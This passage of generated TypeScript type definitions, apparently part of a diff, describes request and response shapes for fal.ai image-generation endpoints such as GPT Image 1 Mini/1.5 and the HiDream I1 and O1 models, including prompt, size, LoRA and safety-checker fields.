inputFalAiGptImage1MiniImageSizeEnum)[keyof typeof inputFalAiGptImage1MiniImageSizeEnum] + +export const inputFalAiGptImage1MiniBackgroundEnum = { + auto: 'auto', + transparent: 'transparent', + opaque: 'opaque', +} as const + +export type InputFalAiGptImage1MiniBackgroundEnumKey = + (typeof inputFalAiGptImage1MiniBackgroundEnum)[keyof typeof inputFalAiGptImage1MiniBackgroundEnum] + +export type InputFalAiGptImage1Mini = { + /** + * @description Output format for the images + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiGptImage1MiniOutputFormatEnumKey + /** + * @description Quality for the generated image + * @default 'auto' + * @type string | undefined + */ + quality?: InputFalAiGptImage1MiniQualityEnumKey + /** + * @description Aspect ratio for the generated image + * @default 'auto' + * @type string | undefined + */ + image_size?: InputFalAiGptImage1MiniImageSizeEnumKey + /** + * @description Background for the generated image + * @default 'auto' + * @type string | undefined + */ + background?: InputFalAiGptImage1MiniBackgroundEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt for image generation + * @minLength 2 + * @example A serene landscape with mountains reflecting in a crystal-clear lake at sunset, photorealistic style + * @type string + */ + prompt: string + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFile040E04F1 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiGptImage1Mini = { + /** + * @description The generated images. + * @example [{"file_name":"1EXVSVlSs4Yz5hKplrzTv_2595c4e8720f4c19bcbc3dd373b18065.jpg","width":1024,"content_type":"image/jpeg","url":"https://v3b.fal.media/files/b/elephant/1EXVSVlSs4Yz5hKplrzTv_2595c4e8720f4c19bcbc3dd373b18065.jpg","height":1024}] + * @type array + */ + images: ImageFile040E04F1[] +} + +export const inputFalAiGptImage1MiniEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiGptImage1MiniEditOutputFormatEnumKey = + (typeof inputFalAiGptImage1MiniEditOutputFormatEnum)[keyof typeof inputFalAiGptImage1MiniEditOutputFormatEnum] + +export const inputFalAiGptImage1MiniEditQualityEnum = { + auto: 'auto', + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputFalAiGptImage1MiniEditQualityEnumKey = + (typeof inputFalAiGptImage1MiniEditQualityEnum)[keyof typeof inputFalAiGptImage1MiniEditQualityEnum] + +export const inputFalAiGptImage1MiniEditImageSizeEnum = { + auto: 'auto', + '1024x1024': '1024x1024', + '1536x1024': '1536x1024', + '1024x1536': '1024x1536', +} as const + +export type InputFalAiGptImage1MiniEditImageSizeEnumKey = + (typeof inputFalAiGptImage1MiniEditImageSizeEnum)[keyof typeof inputFalAiGptImage1MiniEditImageSizeEnum] + +export const inputFalAiGptImage1MiniEditBackgroundEnum = { + auto: 'auto', + transparent: 'transparent', + opaque: 'opaque', +} as const + +export type InputFalAiGptImage1MiniEditBackgroundEnumKey = + (typeof inputFalAiGptImage1MiniEditBackgroundEnum)[keyof typeof inputFalAiGptImage1MiniEditBackgroundEnum] + +export type InputFalAiGptImage1MiniEdit = { + /** + * @description Output format for the images + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiGptImage1MiniEditOutputFormatEnumKey + /** + * @description Quality for the generated image + * @default 'auto' + * @type string | undefined + */ + quality?: InputFalAiGptImage1MiniEditQualityEnumKey + /** + * @description Aspect ratio for the generated image + * @default 'auto' + * @type string | undefined + */ + image_size?: InputFalAiGptImage1MiniEditImageSizeEnumKey + /** + * @description Background for the generated image + * @default 'auto' + * @type string | undefined + */ + background?: InputFalAiGptImage1MiniEditBackgroundEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URLs of the images to use as a reference for the generation. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/seedream4_edit_input_1.png","https://storage.googleapis.com/falserverless/example_inputs/seedream4_edit_input_2.png","https://storage.googleapis.com/falserverless/example_inputs/seedream4_edit_input_3.png","https://storage.googleapis.com/falserverless/example_inputs/seedream4_edit_input_4.png"] + * @type array + */ + image_urls: string[] + /** + * @description The prompt for image generation + * @minLength 2 + * @example Dress the model in the clothes and hat. Add a cat to the scene and change the background to a Victorian era building. + * @type string + */ + prompt: string + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFile70D7Fb94 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiGptImage1MiniEdit = { + /** + * @description The generated images. + * @example [{"file_name":"NtVrlQjQEkG80Nz874MjH_cc9f505a28354629bb0951c4a8fe9b08.jpg","width":1024,"content_type":"image/jpeg","url":"https://v3b.fal.media/files/b/elephant/NtVrlQjQEkG80Nz874MjH_cc9f505a28354629bb0951c4a8fe9b08.jpg","height":1024}] + * @type array + */ + images: ImageFile70D7Fb94[] +} + +export const inputFalAiGptImage15BackgroundEnum = { + auto: 'auto', + transparent: 'transparent', + opaque: 'opaque', +} as const + +export type InputFalAiGptImage15BackgroundEnumKey = + (typeof inputFalAiGptImage15BackgroundEnum)[keyof typeof inputFalAiGptImage15BackgroundEnum] + +export const inputFalAiGptImage15QualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputFalAiGptImage15QualityEnumKey = + (typeof inputFalAiGptImage15QualityEnum)[keyof typeof inputFalAiGptImage15QualityEnum] + +export const inputFalAiGptImage15OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiGptImage15OutputFormatEnumKey = + (typeof inputFalAiGptImage15OutputFormatEnum)[keyof typeof inputFalAiGptImage15OutputFormatEnum] + +export const inputFalAiGptImage15ImageSizeEnum = { + '1024x1024': '1024x1024', + '1536x1024': '1536x1024', + '1024x1536': '1024x1536', +} as const + +export type InputFalAiGptImage15ImageSizeEnumKey = + (typeof inputFalAiGptImage15ImageSizeEnum)[keyof typeof inputFalAiGptImage15ImageSizeEnum] + +export type InputFalAiGptImage15 = { + /** + * @description Background for the generated image + * @default 'auto' + * @type string | undefined + */ + background?: InputFalAiGptImage15BackgroundEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Quality for the generated image + * @default 'high' + * @type string | undefined + */ + quality?: InputFalAiGptImage15QualityEnumKey + /** + * @description Whether to apply fal input safety moderation. Disabling it requires account authorization; provider checks still apply. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Output format for the images + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiGptImage15OutputFormatEnumKey + /** + * @description The prompt for image generation + * @minLength 2 + * @maxLength 32000 + * @example create a realistic image taken with iphone at these coordinates 41°43′32″N 49°56′49″W 15 April 1912 + * @type string + */ + prompt: string + /** + * @description Aspect ratio for the generated image + * @default '1024x1024' + * @type string | undefined + */ + image_size?: InputFalAiGptImage15ImageSizeEnumKey +} + +export type ImageFile4Af212Ee = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null +} + +export type OutputFalAiGptImage15 = { + /** + * @description The generated images. + * @example [{"content_type":"image/png","width":1024,"file_name":"EnWrO3XWjPE0nxBDpaQrj.png","url":"https://v3b.fal.media/files/b/0a869129/EnWrO3XWjPE0nxBDpaQrj.png","height":1024}] + * @type array + */ + images: ImageFile4Af212Ee[] +} + +export const inputFalAiGptImage15EditInputFidelityEnum = { + low: 'low', + high: 'high', +} as const + +export type InputFalAiGptImage15EditInputFidelityEnumKey = + (typeof inputFalAiGptImage15EditInputFidelityEnum)[keyof typeof inputFalAiGptImage15EditInputFidelityEnum] + +export const inputFalAiGptImage15EditBackgroundEnum = { + auto: 'auto', + transparent: 'transparent', + opaque: 'opaque', +} as const + +export type InputFalAiGptImage15EditBackgroundEnumKey = + (typeof inputFalAiGptImage15EditBackgroundEnum)[keyof typeof inputFalAiGptImage15EditBackgroundEnum] + +export const inputFalAiGptImage15EditQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputFalAiGptImage15EditQualityEnumKey = + (typeof inputFalAiGptImage15EditQualityEnum)[keyof typeof inputFalAiGptImage15EditQualityEnum] + +export const inputFalAiGptImage15EditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiGptImage15EditOutputFormatEnumKey = + (typeof inputFalAiGptImage15EditOutputFormatEnum)[keyof typeof inputFalAiGptImage15EditOutputFormatEnum] + +export const inputFalAiGptImage15EditImageSizeEnum = { + auto: 'auto', + '1024x1024': '1024x1024', + '1536x1024': '1536x1024', + '1024x1536': '1024x1536', +} as const + +export type InputFalAiGptImage15EditImageSizeEnumKey = + (typeof inputFalAiGptImage15EditImageSizeEnum)[keyof typeof inputFalAiGptImage15EditImageSizeEnum] + +export type InputFalAiGptImage15Edit = { + /** + * @description Input fidelity for the generated image + * @default 'high' + * @type string | undefined + */ + input_fidelity?: InputFalAiGptImage15EditInputFidelityEnumKey + /** + * @description The URL of the mask image to use for the generation. This indicates what part of the image to edit. + */ + mask_image_url?: string | null + /** + * @description Background for the generated image + * @default 'auto' + * @type string | undefined + */ + background?: InputFalAiGptImage15EditBackgroundEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Quality for the generated image + * @default 'high' + * @type string | undefined + */ + quality?: InputFalAiGptImage15EditQualityEnumKey + /** + * @description Whether to apply fal input safety moderation. Disabling it requires account authorization; provider checks still apply. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Output format for the images + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiGptImage15EditOutputFormatEnumKey + /** + * @description The prompt for image generation + * @minLength 2 + * @maxLength 32000 + * @example Same workers, same beam, same lunch boxes - but they're all on their phones now. One is taking a selfie. One is on a call looking annoyed. Same danger, new priorities. A hard hat has AirPods. + * @type string + */ + prompt: string + /** + * @description The URLs of the images to use as a reference for the generation. + * @example ["https://v3b.fal.media/files/b/0a8691af/9Se_1_VX1wzTjjTOpWbs9_bb39c2eb-1a41-4749-b1d0-cf134abc8bbf.png"] + * @type array + */ + image_urls: string[] + /** + * @description Aspect ratio for the generated image + * @default 'auto' + * @type string | undefined + */ + image_size?: InputFalAiGptImage15EditImageSizeEnumKey +} + +export type ImageFileDd700A7D = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null +} + +export type OutputFalAiGptImage15Edit = { + /** + * @description The generated images. + * @example [{"content_type":"image/png","width":1024,"file_name":"yUt7tifLSbg1WzWWgfj2o.png","url":"https://v3b.fal.media/files/b/0a8691b0/yUt7tifLSbg1WzWWgfj2o.png","height":1024}] + * @type array + */ + images: ImageFileDd700A7D[] +} + +export type ImageSizeAa2Cc9Be = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiHidreamI1FastOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiHidreamI1FastOutputFormatEnumKey = + (typeof inputFalAiHidreamI1FastOutputFormatEnum)[keyof typeof inputFalAiHidreamI1FastOutputFormatEnum] + +export const inputFalAiHidreamI1FastImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiHidreamI1FastImageSizeKey = + (typeof inputFalAiHidreamI1FastImageSize)[keyof typeof inputFalAiHidreamI1FastImageSize] + +export type InputFalAiHidreamI1Fast = { + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiHidreamI1FastOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 16 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The size of the generated image. + * @default {"height":1024,"width":1024} + */ + image_size?: ImageSizeAa2Cc9Be | InputFalAiHidreamI1FastImageSizeKey + /** + * @description The prompt to generate an image from. + * @example a cat holding a skateboard which has 'fal' written on it in red spray paint + * @type string + */ + prompt: string +} + +export type Image69Bdaa1E = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + height: number +} + +export type OutputFalAiHidreamI1Fast = { + /** + * @description The generated image files info. + * @type array + */ + images: Image69Bdaa1E[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type ImageSize9831805F = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type LoraWeight00373729 = { + /** + * @description Name of the LoRA weight. Used only if `path` is a Hugging Face repository, and required only if you have more than 1 safetensors file in the repo. + */ + weight_name?: string | null + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiHidreamI1FullImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiHidreamI1FullImageSizeKey = + (typeof inputFalAiHidreamI1FullImageSize)[keyof typeof inputFalAiHidreamI1FullImageSize] + +export const inputFalAiHidreamI1FullOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiHidreamI1FullOutputFormatEnumKey = + (typeof inputFalAiHidreamI1FullOutputFormatEnum)[keyof typeof inputFalAiHidreamI1FullOutputFormatEnum] + +export type InputFalAiHidreamI1Full = { + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate an image from. + * @example a cat holding a skateboard which has 'fal' written on it in red spray paint + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The size of the generated image. + * @default {"height":1024,"width":1024} + */ + image_size?: ImageSize9831805F | InputFalAiHidreamI1FullImageSizeKey + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiHidreamI1FullOutputFormatEnumKey + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description A list of LoRAs to apply to the model. Each LoRA specifies its path, scale, and optional weight name. + * @default [] + */ + loras?: LoraWeight00373729[] | null +} + +export type Image86208641 = { + url: string + height: number + width: number + /** + * @default image/jpeg + */ + content_type?: string | null +} + +export type OutputFalAiHidreamI1Full = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: Image86208641[] +} + +export type ImageSizeB4A9Fc33 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type LoraWeight962779E1 = { + /** + * @description Name of the LoRA weight. Used only if `path` is a Hugging Face repository, and required only if you have more than 1 safetensors file in the repo. + */ + weight_name?: string | null + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiHidreamI1FullImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiHidreamI1FullImageToImageImageSizeKey = + (typeof inputFalAiHidreamI1FullImageToImageImageSize)[keyof typeof inputFalAiHidreamI1FullImageToImageImageSize] + +export const inputFalAiHidreamI1FullImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiHidreamI1FullImageToImageOutputFormatEnumKey = + (typeof inputFalAiHidreamI1FullImageToImageOutputFormatEnum)[keyof typeof inputFalAiHidreamI1FullImageToImageOutputFormatEnum] + +export type InputFalAiHidreamI1FullImageToImage = { + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate an image from. + * @example An old man + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description Denoising strength for image-to-image generation. + * @minimum 0 + * @maximum 1 + * @default 0.75 + * @type number | undefined + */ + strength?: number + /** + * @description The size of the generated image. Setting to None uses the input image's size. + */ + image_size?: + | ImageSizeB4A9Fc33 + | InputFalAiHidreamI1FullImageToImageImageSizeKey + | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiHidreamI1FullImageToImageOutputFormatEnumKey + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description A list of LoRAs to apply to the model. Each LoRA specifies its path, scale, and optional weight name. + * @default [] + */ + loras?: LoraWeight962779E1[] | null + /** + * @description The image URL to generate an image from. + * @example https://v3.fal.media/files/tiger/C9qhzoMrg6Sg7lYh_ocrZ_example_man.png + * @type string + */ + image_url: string +} + +export type Image6353D6A9 = { + url: string + height: number + width: number + /** + * @default image/jpeg + */ + content_type?: string | null +} + +export type OutputFalAiHidreamI1FullImageToImage = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated images + * @example [{"url":"https://v3.fal.media/files/lion/eIyinD1FLsdjjreSZzD6d.jpeg","height":1024,"width":1024,"content_type":"image/jpeg"}] + * @type array + */ + images: Image6353D6A9[] +} + +export type ImageSizeCd7E02F5 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiHidreamO1ImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiHidreamO1ImageImageSizeKey = + (typeof inputFalAiHidreamO1ImageImageSize)[keyof typeof inputFalAiHidreamO1ImageImageSize] + +export const inputFalAiHidreamO1ImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiHidreamO1ImageOutputFormatEnumKey = + (typeof inputFalAiHidreamO1ImageOutputFormatEnum)[keyof typeof inputFalAiHidreamO1ImageOutputFormatEnum] + +export type InputFalAiHidreamO1Image = { + /** + * @description Optional reference images. Use none for text-to-image, one for image editing, or multiple for subject-driven personalization. + * @default [] + * @example ["https://storage.googleapis.com/falserverless/model_tests/hidream/woman.png"] + * @type array | undefined + */ + reference_image_urls?: string[] + /** + * @description Classifier-free guidance scale. The full model uses 5.0 by default. + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Requested output image size. Dimensions are rounded down to a multiple of 32, up to about 2048x2048 pixels. + * @default {"height":1024,"width":1024} + */ + image_size?: ImageSizeCd7E02F5 | InputFalAiHidreamO1ImageImageSizeKey + /** + * @description Enable the safety checker on generated images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description When exactly one reference image is provided, preserve its aspect ratio for the output image. + * @default false + * @type boolean | undefined + */ + keep_original_aspect?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiHidreamO1ImageOutputFormatEnumKey + /** + * @description Random seed for reproducible generation. + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of denoising steps. + * @minimum 1 + * @maximum 50 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Text prompt for image generation, editing, or subject-driven personalization. + * @minLength 1 + * @example A cinematic product photo of a ceramic mug on a marble counter, soft window light, shallow depth of field. + * @type string + */ + prompt: string +} + +export type ImageFile50042783 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiHidreamO1Image = { + /** + * @description Generation timings. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description Generated images. + * @type array + */ + images: ImageFile50042783[] + /** + * @description Whether each generated image was flagged by the safety checker. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string +} + +export type ImageSize83Df5341 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiHidreamO1ImageDevOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiHidreamO1ImageDevOutputFormatEnumKey = + (typeof inputFalAiHidreamO1ImageDevOutputFormatEnum)[keyof typeof inputFalAiHidreamO1ImageDevOutputFormatEnum] + +export const inputFalAiHidreamO1ImageDevImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiHidreamO1ImageDevImageSizeKey = + (typeof inputFalAiHidreamO1ImageDevImageSize)[keyof typeof inputFalAiHidreamO1ImageDevImageSize] + +export type InputFalAiHidreamO1ImageDev = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Text prompt for image generation, editing, or subject-driven personalization. + * @minLength 1 + * @example A cinematic product photo of a ceramic mug on a marble counter, soft window light, shallow depth of field. + * @type string + */ + prompt: string + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description When exactly one reference image is provided, preserve its aspect ratio for the output image. + * @default false + * @type boolean | undefined + */ + keep_original_aspect?: boolean + /** + * @description Optional reference images. Use none for text-to-image, one for image editing, or multiple for subject-driven personalization. + * @default [] + * @example ["https://storage.googleapis.com/falserverless/model_tests/hidream/woman.png"] + * @type array | undefined + */ + reference_image_urls?: string[] + /** + * @description Random seed for reproducible generation. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiHidreamO1ImageDevOutputFormatEnumKey + /** + * @description Requested output image size. Dimensions are rounded down to a multiple of 32, up to about 2048x2048 pixels. + * @default {"height":1024,"width":1024} + */ + image_size?: ImageSize83Df5341 | InputFalAiHidreamO1ImageDevImageSizeKey + /** + * @description Classifier-free guidance scale. The dev model uses 0.0 by default. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Enable the safety checker on generated images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of denoising steps. The dev model is distilled for 28 steps. + * @minimum 1 + * @maximum 28 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number +} + +export type ImageFileA61A677F = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not 